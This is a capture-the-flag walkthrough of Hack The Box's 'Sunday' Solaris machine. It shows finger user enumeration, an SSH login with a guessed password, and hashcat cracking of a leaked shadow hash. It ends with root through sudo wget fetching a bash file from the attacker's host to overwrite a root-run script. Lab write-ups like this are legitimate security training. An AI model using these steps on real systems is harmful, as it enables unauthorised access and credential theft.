Getting Shells on Sunday - 'Sunday' HTB Writeup
Getting Shells on Sunday - ‘Sunday’ HTB Writeup
Host Information
| Hostname | IP Address | Operating System | Difficulty Level |
| Sunday | 10.10.10.76 | Solaris | Easy |
Writeup Contents:
(you can jump to the section using these links)
Initial Recon
Like usual, we’ll start with our initial recon of the target system. This time, however, we’re going to try an enumeration automation script - nmapAutomator. You can find and download the script here on Github, if you wish to check it out yourself. It combines a few functions, such as nmap, a dirb like program called gobuster, enum4linux, sslscan, nikto, etc.
Let’s give it a run with a full scan against the target:
root@kali:/writeups/HTB/sunday/enumeration# nmapautomator 10.10.10.76 all
Running a all scan on 10.10.10.76
Host is likely running OpenBSD/Cisco/Oracle
---------------------Starting Nmap Quick Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 09:49 CST
Nmap scan report for 10.10.10.76
Host is up (0.034s latency).
Not shown: 874 filtered ports, 125 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
79/tcp open finger
Nmap done: 1 IP address (1 host up) scanned in 3.67 seconds
---------------------Starting Nmap Basic Scan---------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 09:49 CST
Nmap scan report for 10.10.10.76
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
79/tcp open finger Sun Solaris fingerd
|_finger: No one logged on\x0D
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
OS Detection modified to: Solaris
----------------------Starting Nmap UDP Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 09:49 CST
Warning: 10.10.10.76 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.76
Host is up (0.032s latency).
Not shown: 675 closed ports, 324 open|filtered ports
PORT STATE SERVICE
111/udp open rpcbind
Nmap done: 1 IP address (1 host up) scanned in 80.68 seconds
Making a script scan on UDP ports: 111
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 09:50 CST
Nmap scan report for 10.10.10.76
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
111/udp open rpcbind 2-4 (RPC #100000)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.49 seconds
---------------------Starting Nmap Full Scan----------------------
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 09:51 CST
Initiating Parallel DNS resolution of 1 host. at 09:51
Completed Parallel DNS resolution of 1 host. at 09:51, 0.01s elapsed
Initiating SYN Stealth Scan at 09:51
Scanning 10.10.10.76 [65535 ports]
Discovered open port 111/tcp on 10.10.10.76
Warning: 10.10.10.76 giving up on port because retransmission cap hit (1).
Increasing send delay for 10.10.10.76 from 0 to 5 due to 261 out of 652 dropped probes since last increase.
SYN Stealth Scan Timing: About 9.13% done; ETC: 09:56 (0:05:09 remaining)
SYN Stealth Scan Timing: About 12.88% done; ETC: 09:58 (0:06:52 remaining)
Discovered open port 43453/tcp on 10.10.10.76
SYN Stealth Scan Timing: About 16.65% done; ETC: 10:00 (0:07:35 remaining)
Discovered open port 22022/tcp on 10.10.10.76
SYN Stealth Scan Timing: About 38.08% done; ETC: 10:02 (0:07:06 remaining)
SYN Stealth Scan Timing: About 44.54% done; ETC: 10:02 (0:06:30 remaining)
SYN Stealth Scan Timing: About 51.76% done; ETC: 10:03 (0:05:53 remaining)
SYN Stealth Scan Timing: About 57.10% done; ETC: 10:03 (0:05:16 remaining)
SYN Stealth Scan Timing: About 62.46% done; ETC: 10:03 (0:04:38 remaining)
SYN Stealth Scan Timing: About 67.77% done; ETC: 10:03 (0:04:00 remaining)
SYN Stealth Scan Timing: About 73.09% done; ETC: 10:03 (0:03:21 remaining)
SYN Stealth Scan Timing: About 78.56% done; ETC: 10:03 (0:02:43 remaining)
SYN Stealth Scan Timing: About 84.21% done; ETC: 10:03 (0:02:03 remaining)
SYN Stealth Scan Timing: About 89.57% done; ETC: 10:03 (0:01:21 remaining)
SYN Stealth Scan Timing: About 94.85% done; ETC: 10:04 (0:00:40 remaining)
Discovered open port 79/tcp on 10.10.10.76
Discovered open port 46173/tcp on 10.10.10.76
Completed SYN Stealth Scan at 10:04, 815.53s elapsed (65535 total ports)
Nmap scan report for 10.10.10.76
Host is up (0.031s latency).
Not shown: 34837 filtered ports, 30693 closed ports
PORT STATE SERVICE
79/tcp open finger
111/tcp open rpcbind
22022/tcp open unknown
43453/tcp open unknown
46173/tcp open unknown
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 815.61 seconds
Raw packets sent: 106366 (4.680MB) | Rcvd: 30756 (1.232MB)
Making a script scan on extra ports: 111, 22022, 43453, 46173
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 10:04 CST
Nmap scan report for 10.10.10.76
Host is up (0.031s latency).
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
22022/tcp open ssh SunSSH 1.3 (protocol 2.0)
| ssh-hostkey:
| 1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_ 1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)
43453/tcp open unknown
46173/tcp open unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.32 seconds
---------------------Starting Nmap Vulns Scan---------------------
Running CVE scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 10:05 CST
/root/nmapAutomator/nmapAutomator.sh: line 226: 6418 Segmentation fault $nmapType -sV --script vulners --script-args mincvss=7.0 -p$(echo "${ports}") -oN nmap/CVEs_"$1".nmap "$1"
Running Vuln scan on all ports
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 10:05 CST
/root/nmapAutomator/nmapAutomator.sh: line 226: 6420 Segmentation fault $nmapType -sV --script vuln -p$(echo "${ports}") -oN nmap/Vulns_"$1".nmap "$1"
---------------------Recon Recommendations----------------------
---------------------Finished all Nmap scans---------------------
Completed in 16 minute(s) and 46 second(s)
OK, so for UDP it appears we have 111 open for rcpbind. For TCP, it appears we have 111 open for rcpbind as well, 79 for finger, 22022 for ssh, and two unknown ports on 43453 and 46173.
We should be able to use finger to gain more information on the host, let’s go ahead and give it a shot.
enumerating with finger
A quick look at the man page for finger shows we will likely have to provide a user or users to finger to continue enumeration on the host. Unfortunately we don’t know any users on this box at this time, but we have a few things we can try. We’ll guess the hostname may be a user first, then we can also test root, who we know should be a valid user on this solaris system.
root@kali:~# finger sunday@10.10.10.76
Login Name TTY Idle When Where
sunday ???
root@kali:~# finger root@10.10.10.76
Login Name TTY Idle When Where
root Super-User pts/3 <Apr 24, 2018> sunday
So it appears ‘sunday’ is not a valid user on the system. There are tools out there however, that will attempt to brute force or dictionary attack users against the finger service to check and see if they are valid users or not. My first inclination is to use the rockyou.txt wordlist as the username file to test, but we know that would take a sigifican’t amount of time. Let’s use something a bit shorter (if it will hold up against the host). There’s a great list on github called SecLists by Daniel Miessler - we’ll use the names list from here.
Next we need to find a tool to pass the wordlist to to check for valid users. Metasploit has one, but since we’re trying to avoid the use of metasploit, let’s give one from PentestMonkey a shot. Below we can set up the tool and wordlist like follows:
root@kali:~/finger-user-enum-1.0# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt -O /usr/share/wordlists/seclists_usernames.txt
--2020-01-24 12:15:57-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/Names/names.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 70943 (69K) [text/plain]
Saving to: ‘/usr/share/wordlists/seclists_usernames.txt’
/usr/share/wordlists/seclists_us 100%[========================================================>] 69.28K --.-KB/s in 0.02s
2020-01-24 12:15:57 (3.31 MB/s) - ‘/usr/share/wordlists/seclists_usernames.txt’ saved [70943/70943]
root@kali:/usr/share/wordlists/metasploit# cd
root@kali:~# wget http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
--2020-01-24 12:12:36-- http://pentestmonkey.net/tools/finger-user-enum/finger-user-enum-1.0.tar.gz
Resolving pentestmonkey.net (pentestmonkey.net)... 213.165.242.10, 2001:bd0:100:0:1::1
Connecting to pentestmonkey.net (pentestmonkey.net)|213.165.242.10|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 81891 (80K) [application/x-gzip]
Saving to: ‘finger-user-enum-1.0.tar.gz’
finger-user-enum-1.0.tar.gz 100%[========================================================>] 79.97K 412KB/s in 0.2s
2020-01-24 12:12:37 (412 KB/s) - ‘finger-user-enum-1.0.tar.gz’ saved [81891/81891]
FINISHED --2020-01-24 12:12:37--
Total wall clock time: 1.5s
Downloaded: 1 files, 80K in 0.2s (412 KB/s)
root@kali:~# tar -xvf finger-user-enum-1.0.tar.gz
finger-user-enum-1.0/
finger-user-enum-1.0/COPYING.GPL
finger-user-enum-1.0/finger-user-enum.pl
finger-user-enum-1.0/CHANGELOG
finger-user-enum-1.0/finger-user-enum-user-docs.pdf
finger-user-enum-1.0/COPYING
root@kali:~# cd finger-user-enum-1.0
Now we can run it and see what happens:
root@kali:~/finger-user-enum-1.0# perl finger-user-enum.pl -t 10.10.10.76 -U /usr/share/wordlists/seclists_usernames.txt
Starting finger-user-enum v1.0 ( http://pentestmonkey.net/tools/finger-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/seclists_usernames.txt
Target count ............. 1
Username count ........... 10163
Target TCP port .......... 79
Query timeout ............ 5 secs
Relay Server ............. Not used
######## Scan started at Fri Jan 24 12:17:45 2020 #########
access@10.10.10.76: access No Access User < . . . . >..nobody4 SunOS 4.x NFS Anonym < . . . . >..
admin@10.10.10.76: Login Name TTY Idle When Where..adm Admin < . . . . >..lp Line Printer Admin < . . . . >..uucp uucp Admin < . . . . >..nuucp uucp Admin < . . . . >..dladm Datalink Admin < . . . . >..listen Network Admin < . . . . >..
anne marie@10.10.10.76: Login Name TTY Idle When Where..anne ???..marie ???..
bin@10.10.10.76: bin ??? < . . . . >..
dee dee@10.10.10.76: Login Name TTY Idle When Where..dee ???..dee ???..
jo ann@10.10.10.76: Login Name TTY Idle When Where..jo ???..ann ???..
la verne@10.10.10.76: Login Name TTY Idle When Where..la ???..verne ???..
line@10.10.10.76: Login Name TTY Idle When Where..lp Line Printer Admin < . . . . >..
message@10.10.10.76: Login Name TTY Idle When Where..smmsp SendMail Message Sub < . . . . >..
miof mela@10.10.10.76: Login Name TTY Idle When Where..miof ???..mela ???..
sunny@10.10.10.76: sunny pts/3 <Apr 24, 2018> 10.10.14.4 ..
sys@10.10.10.76: sys ??? < . . . . >..
zsa zsa@10.10.10.76: Login Name TTY Idle When Where..zsa ???..zsa ???..
######## Scan completed at Fri Jan 24 12:51:56 2020 #########
13 results.
10163 queries in 2051 seconds (5.0 queries / sec)
user shell
leveraging ssh for an initial foothold
Great, so looks like we found some results. I’m not sure how some of the names with spaces would work on the system, but looks like we have a few system users,, a few names with spaces, an admin user, and a user named ‘sunny.’ Let’s see if we can use sunny or admin to log in to ssh.
We see when we try an attempt, we fail to negotiate a cipher suite for the SSH connection:
root@kali:/writeups/HTB/sunday/enumeration# ssh sunny@10.10.10.76 -p 22022
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
These are likely depcrecated/older ciphers that our kali machine has commented out the ssh config, or otherwise disallowed. Let’s see if we can allow one of these cipher suites in our local ssh config, and try to connect again. Looking at the ssh man page, it appears we can do so with the -okexAlogrithms=+\
We still don’t know the password, however. Rather than bruteforcing, let’s try a few options first. i’ll start with the hostname ‘sunday,’ and if that does not work, sunny, and other variants such as sunshine.
root@kali:/writeups/HTB/sunday/enumeration# ssh -okexAlgorithms=+diffie-hellman-group1-sha1 -p 22022 sunny@10.10.10.76
The authenticity of host '[10.10.10.76]:22022 ([10.10.10.76]:22022)' can't be established.
RSA key fingerprint is SHA256:TmRO9yKIj8Rr/KJIZFXEVswWZB/hic/jAHr78xGp+YU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.10.76]:22022' (RSA) to the list of known hosts.
Password:
Last login: Tue Apr 24 10:48:11 2018 from 10.10.14.4
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sunny@sunday:~$
Great, it looked like the password sunday worked.
Let’s go ahead and grab the user flag:
sunny@sunday:~$ find / -name user.txt 2>/dev/null
/export/home/sammy/Desktop/user.txt
But wait!
sunny@sunday:~$ find / -name user.txt 2>/dev/null
/export/home/sammy/Desktop/user.txt
sunny@sunday:~$ cat /export/home/sammy/Desktop/user.txt
cat: /export/home/sammy/Desktop/user.txt: Permission denied
The flag is not in sunny’s directory, it’s in the home directory of a user called ‘sammy.’ Also we don’t appear to have permissions the export folder, it’s owned by root:
sunny@sunday:~$ ls -ltr /export/
total 2
drwxr-xr-x 4 root root 4 2018-04-15 20:18 home
It’s odd to me that the finger enumeration didn’t show the ‘sammy’ user, but either way, we have to privesc, so let’s do some further enumeration to figure out how to privesc.
Further Enumeration for privesc
First running sudo -l which is always a good command to check, we get some interesting results:
sunny@sunday:~/Desktop$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
Because of the name, I doubt this file will do anything, it will probably be a dead-end or rabit hole, but let’s check it out briefly.
sunny@sunday:~/Desktop$ sudo -l
User sunny may run the following commands on this host:
(root) NOPASSWD: /root/troll
sunny@sunday:~/Desktop$ file /root/troll
/root/troll: cannot open: Permission denied
sunny@sunday:~/Desktop$ ls -ltr /root/trool
ls: cannot access /root/trool: Permission denied
a few detours
Looks like we can’t access it normally. To check it out, let’s try running it with sudo. (**N.B. that normally it would be a bad idea to run a file you do not know what it is or does, especially as root. Since this is a test environment, however, I’m going to consider this a calculated risk. As it’s a VM, I can revert if needed.)
sunny@sunday:~/Desktop$ sudo /root/troll
testing
uid=0(root) gid=0(root)
sunny@sunday:~/Desktop$
That is a troll indeed. Since we cannot edit it, we can’t modify to spawn a root shell. Let’s quickly check to see if there’s any soft links to the file that we might be able to edit, in case that we can modify the file in a roundabout way.
sunny@sunday:~$ find -L / -samefile /root/troll
find: /root/troll: Permission denied
Not surprisingly, we can’t access that file to search for softlinks. Let’s move on.
Searching all files in sunny’s home directory, we see a directory called “.chewing” Going into it yields a single file, uhash.dat - could this stand for user hash? If so, would cracking the hash allow us to su over to root or sammy?
sunny@sunday:~/.chewing$ cat uhash.dat && echo ""
CBiH
If this is a hash, we’d need to see what kind of hashing algorithm the solaris system is utilizing for user passwords. To do this in solaris, we can look at the policy.conf file, and we see the following section:
sunny@sunday:~/.chewing$ cat /etc/security/policy.conf
#CRYPT_ALGORITHMS_DEPRECATE=__unix__
# The OpenSolaris default is a SHA256 based algorithm. To revert to the
# policy present in Solaris releases, set CRYPT_DEFAULT=__unix__.
# This is not listed in crypt.conf(4) since it is internal to libc.
# The reserved name __unix__ is used to refer to it.
#
CRYPT_DEFAULT=5
A quick look at Oracle Documentation for the policy.conf fileshows that CRYPT level 5 is SHA256. Since the amount of characters in the .dat file is nowhere near that required for SHA256, I don’t believe it’s an actual user password hash. Let’s move on.
Let’s check what processes are running as root:
sunny@sunday:~/.chewing$ ps -ef | grep root
root 0 0 0 20:07:14 ? 0:01 sched
root 1 0 0 20:07:14 ? 0:00 /sbin/init
root 2 0 0 20:07:14 ? 0:00 pageout
root 3 0 0 20:07:14 ? 0:01 fsflush
root 7 1 0 20:07:15 ? 0:03 /lib/svc/bin/svc.startd
root 9 1 0 20:07:15 ? 0:09 /lib/svc/bin/svc.configd
root 389 7 0 20:07:34 console 0:00 /usr/lib/saf/ttymon -g -d /dev/console -l console -m ldterm,ttcompat -h -p sund
root 294 287 0 20:07:31 ? 0:00 /usr/lib/hal/hald-addon-cpufreq
root 359 1 0 20:07:34 ? 0:00 /usr/lib/rmvolmgr -s
root 69 1 0 20:07:23 ? 0:00 devfsadmd
root 183 1 0 20:07:27 ? 0:00 /usr/lib/picl/picld
root 361 1 0 20:07:34 ? 0:00 /usr/lib/inet/in.ndpd
root 301 287 0 20:07:32 ? 0:00 /usr/lib/hal/hald-addon-acpi
root 287 286 0 20:07:31 ? 0:00 hald-runner
root 335 287 0 20:07:32 ? 0:00 /usr/lib/hal/hald-addon-storage
root 121 1 0 20:07:25 ? 0:00 /usr/sbin/nscd
root 373 1 0 20:07:34 ? 0:00 /usr/lib/inet/inetd start
root 371 7 0 20:07:34 ? 0:00 /usr/lib/saf/sac -t 300
root 286 1 0 20:07:31 ? 0:00 /usr/lib/hal/hald --daemon=yes
root 333 1 0 20:07:32 ? 0:00 /usr/sbin/cron
root 163 1 0 20:07:26 ? 0:00 /usr/lib/sysevent/syseventd
root 160 1 0 20:07:26 ? 0:00 /usr/lib/power/powerd
root 853 400 0 20:20:57 ? 0:00 /usr/lib/ssh/sshd
root 218 1 0 20:07:28 ? 0:00 /usr/lib/dbus-daemon --system
root 288 287 0 20:07:31 ? 0:00 /usr/lib/hal/hald-addon-network-discovery
root 413 1 0 20:07:35 ? 0:00 /usr/sbin/syslogd
root 473 472 0 20:07:36 ? 0:00 /usr/sbin/gdm-binary
root 377 371 0 20:07:34 ? 0:00 /usr/lib/saf/ttymon
root 2515 513 0 21:24:58 ? 0:00 /usr/gnu/bin/sleep 5
root 382 1 0 20:07:34 ? 0:00 /usr/lib/autofs/automountd
root 383 382 0 20:07:34 ? 0:00 /usr/lib/autofs/automountd
root 388 1 0 20:07:34 ? 0:00 /usr/lib/utmpd
root 400 1 0 20:07:35 ? 0:00 /usr/lib/ssh/sshd
root 472 1 0 20:07:36 ? 0:00 /usr/sbin/gdm-binary
root 513 1 0 20:07:39 ? 0:00 /usr/bin/bash /root/overwrite
root 476 1 0 20:07:36 ? 0:00 /usr/perl5/bin/perl /usr/lib/intrd
root 477 473 0 20:07:36 ? 0:02 /usr/X11/bin/Xorg :0 -depth 24 -nolisten tcp -audit 0 -br -auth /var/lib/gdm/:0
root 521 473 0 20:07:40 ? 0:00 /usr/openwin/bin/fbconsole -n -d :0
root 597 1 0 20:10:36 ? 0:00 /usr/lib/sendmail -bl -q15m
root 481 1 0 20:07:36 ? 0:00 /usr/lib/fm/fmd/fmd
sunny@sunday:~/.chewing$
OK, nothing that jumps out at the moment.
Checking cronjobs doesn’t seem to allow us to edit our crontab either.
Finding an opportunity for lateral movement
Let’s see what else is out there.
sunny@sunday:/$ ls -ltra
total 527
drwxr-xr-x 4 root root 4 2009-05-14 21:18 system
drwxr-xr-x 5 root sys 5 2009-05-14 21:21 platform
drwx------ 2 root root 2 2009-05-14 21:27 lost+found
drwxr-xr-x 3 root root 3 2018-04-15 19:44 export
drwxr-xr-x 10 root bin 180 2018-04-15 19:45 lib
drwxr-xr-x 19 root sys 20 2018-04-15 19:45 kernel
drwxr-xr-x 30 root sys 44 2018-04-15 19:46 usr
drwxr-xr-x 4 root sys 4 2018-04-15 19:52 opt
drwxr-xr-x 6 root sys 7 2018-04-15 19:52 boot
lrwxrwxrwx 1 root root 9 2018-04-15 19:52 bin -> ./usr/bin
drwxr-xr-x 2 root sys 2 2018-04-15 19:52 mnt
drwxr-xr-x 4 root root 4 2018-04-15 19:52 rpool
drwxr-xr-x 2 root sys 58 2018-04-15 19:53 sbin
drwxr-xr-x 35 root sys 35 2018-04-15 20:26 var
drwxr-xr-x 2 root root 4 2018-04-15 20:44 backup
drwxr-xr-x 2 root root 2 2018-04-16 15:33 cdrom
drwx------ 6 root root 13 2018-04-24 10:31 root
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
drwxr-xr-x 26 root root 27 2018-04-24 12:57 .
drwxr-xr-x 10 root sys 10 2020-01-24 20:07 devices
drwxr-xr-x 265 root sys 265 2020-01-24 20:07 dev
drwxr-xr-x 2 root root 4 2020-01-24 20:07 media
dr-xr-xr-x 1 root root 1 2020-01-24 20:07 net
dr-xr-xr-x 1 root root 1 2020-01-24 20:07 home
drwxr-xr-x 77 root sys 224 2020-01-24 20:24 etc
drwxrwxrwt 4 root sys 384 2020-01-24 21:35 tmp
dr-xr-xr-x 54 root root 480032 2020-01-24 21:36 proc
Hmm, /system and /backup could be interesting. System is likely an OS folder, and a quick peek seems to confirm that. Let’s look at /backup:
sunny@sunday:/system$ cd /backup
sunny@sunday:/backup$ ls -al
total 5
drwxr-xr-x 2 root root 4 2018-04-15 20:44 .
drwxr-xr-x 26 root root 27 2018-04-24 12:57 ..
-r-x--x--x 1 root root 53 2018-04-24 10:35 agent22.backup
-rw-r--r-- 1 root root 319 2018-04-15 20:44 shadow.backup
We don’t have access to the agen22.backup file, but we can view shadow.backup:
sunny@sunday:/backup$ cat shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::
Unfortunately this doesn’t have an entry for root, but since we already know that the password hashing on the system is SHA256, let’s see if we can retrieve sammy’s password and su over to him.
lateral movement via cracked creds
We should be able to do this with john the ripper in kali - let’s copy the hash over to a file, clean it up a bit, then use john to try and crack it:
root@kali:/writeups/HTB/sunday/loot# cat sammy_hash
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
However, when trying to crack it it appears that the hash is not a valid sha256 hash. both john and hash-identifier seem to confirm this:
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
root@kali:/writeups/HTB/sunday/loot# hash-identifier sammy_hash
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
Not Found.
--------------------------------------------------
HASH:
Not Found.
--------------------------------------------------
However, it looks like a valid hash from the system with the $5$ prefix (which denotes the hash type in the shadow file.) The other thing we could try is hashcat, so let’s give that a whirl, using rockyou.txt.
After a while, we can see that the hash is indeed cracked with hashcat. Odd that john and hash-identifier didn’t seem to work. [If someone knows where I went wrong there, feel free to drop me a line.]
root@kali:/writeups/HTB/sunday/loot# hashcat -m 7400 sammy_hash /usr/share/wordlists/rockyou.txt -O --force
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Core(TM) i7-7820HQ CPU @ 2.90GHz, 2048/5891 MB allocatable, 4MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Optimized-Kernel
* Zero-Byte
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 15
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=8 -D KERN_TYPE=7400 -D _unroll'
* Device #1: Kernel m07400-optimized.22fb056b.kernel not found in cache! Building may take a while...
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:cooldude!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: sha256crypt $5$, SHA256 (Unix)
Hash.Target......: $5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB
Time.Started.....: Fri Jan 24 19:20:17 2020 (9 mins, 38 secs)
Time.Estimated...: Fri Jan 24 19:29:55 2020 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 353 H/s (10.36ms) @ Accel:64 Loops:64 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 203667/14344385 (1.42%)
Rejected.........: 147/203667 (0.07%)
Restore.Point....: 203411/14344385 (1.42%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidates.#1....: creed2 -> clydesdale
Started: Fri Jan 24 19:20:07 2020
Stopped: Fri Jan 24 19:29:56 2020
OK, now that we have the password, let’s su over to sammy:
sunny@sunday:~$ su - sammy
Password:
Sun Microsystems Inc. SunOS 5.11 snv_111b November 2008
sammy@sunday:~$
Great, so that worked. Now it looks like we can go ahead and grab user.txt:
sammy@sunday:~$ find / -name user.txt 2>/dev/null
/export/home/sammy/Desktop/user.txt
sammy@sunday:~$ cat /export/home/sammy/Desktop/user.txt
{getyourownflag:)}
gaining a root shell
trolling our way to a root shell
Now that we’ve assumed the privileges of a new user, let’s again enumerate from this new vantage point. Let’s first see what we can run with sudo, if anything:
sammy@sunday:~$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget
Interesting, if we can run wget as root, this may have the potential to be abused from privilege escalation.Could we potentially pass an option to wget to execute whatever it downloads? Or, could we save something over /root/troll and have sunny execute that as root?
Let’s try the troll option first. Since we’d be executing with root/superuser privileges, the hope is that we can use the -O (output) flag to overwrite the troll file in /root/troll. Normally, it would probably refuse to overwrite the file as we wouldn’t have permissions to the /root directory, but with sudo, it just might work.
In our exploits folder, let’s make a new file called troll that executes a bash shell, and then serve it over simple http, like so:
root@kali:/writeups/HTB/sunday/exploits# cat troll
/bin/bash
root@kali:/writeups/HTB/sunday/exploits# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
I’m going to go ahead and open a new session as sunny to execute the /root/troll file if this works. Running it the first time doesn’t seem to work:
sammy@sunday:~$ sudo wget http://10.10.14.50:8080/troll -O /root/troll
--02:25:39-- http://10.10.14.50:8080/troll
=> `/root/troll'
Connecting to 10.10.14.50:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [application/octet-stream]
100%[==========================================>] 10 --.--K/s
02:25:39 (1.32 MB/s) - `/root/troll' saved [10/10]
sunny@sunday:~$ sudo /root/troll
testing
uid=0(root) gid=0(root)
The output flag -O likely should have worked, but it still seemed to fail. The permissions of the original /root/troll file shouldn’t matter, as we’re replacing it with a new one while in superuser mode. So why did it fail? If the troll file should have been modified, is there something replacing it, such as a cron job? If so, it would have been a pretty quick cron job (5 seconds or so?) as I didn’t take much time to switch terminal windows and execute the sudo command.
We can give it one more shot, but if this doesn’t work, we’ll have to look at what else we can do with wget, or perhaps look at another route. Just in case though, we can go ahead and stage our sudo /root/troll command in a separate window to run quickly, and try again:
sammy@sunday:~$ sudo wget http://10.10.14.50:8080/troll -O /root/troll
--02:27:23-- http://10.10.14.50:8080/troll
=> `/root/troll'
Connecting to 10.10.14.50:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [application/octet-stream]
100%[==========================================>] 10 --.--K/s
02:27:23 (2.05 MB/s) - `/root/troll' saved [10/10]
sunny@sunday:~$ sudo /root/troll
root@sunday:~#
Awesome, and we drop into a root shell!
Let’s take a quick look around to see if we were correct or way off on our hunch of the troll file being automatically replaced quickly, and then grab the root flag:
root@sunday:~# ls -l
total 11
drwxr-xr-x 2 sunny other 6 2018-04-15 20:29 Desktop
drwxr-xr-x 6 sunny other 6 2018-04-15 20:29 Documents
drwxr-xr-x 2 sunny other 2 2018-04-15 20:29 Downloads
-rw-r--r-- 1 sunny other 1039 2018-04-15 20:18 local.cshrc
-rw-r--r-- 1 sunny other 988 2018-04-15 20:18 local.login
-rw-r--r-- 1 sunny other 1002 2018-04-15 20:18 local.profile
drwxr-xr-x 2 sunny other 2 2018-04-15 20:29 Public
root@sunday:~# pwd
/export/home/sunny
root@sunday:~# ls -l /root
total 5
-rwx------ 1 root root 112 2018-04-24 10:48 overwrite
-r-------- 1 root root 33 2018-04-15 20:38 root.txt
-r-x--x--x 1 root root 53 2020-01-25 02:30 troll
-rw------- 1 root root 53 2018-04-24 10:35 troll.original
Interesting - so here we can see a few things. One, we notice troll.original, another troll file, and a file called overwrite. Let’s check it out:
root@sunday:~# cat /root/troll.original
#!/usr/bin/bash
/usr/bin/echo "testing"
/usr/bin/id
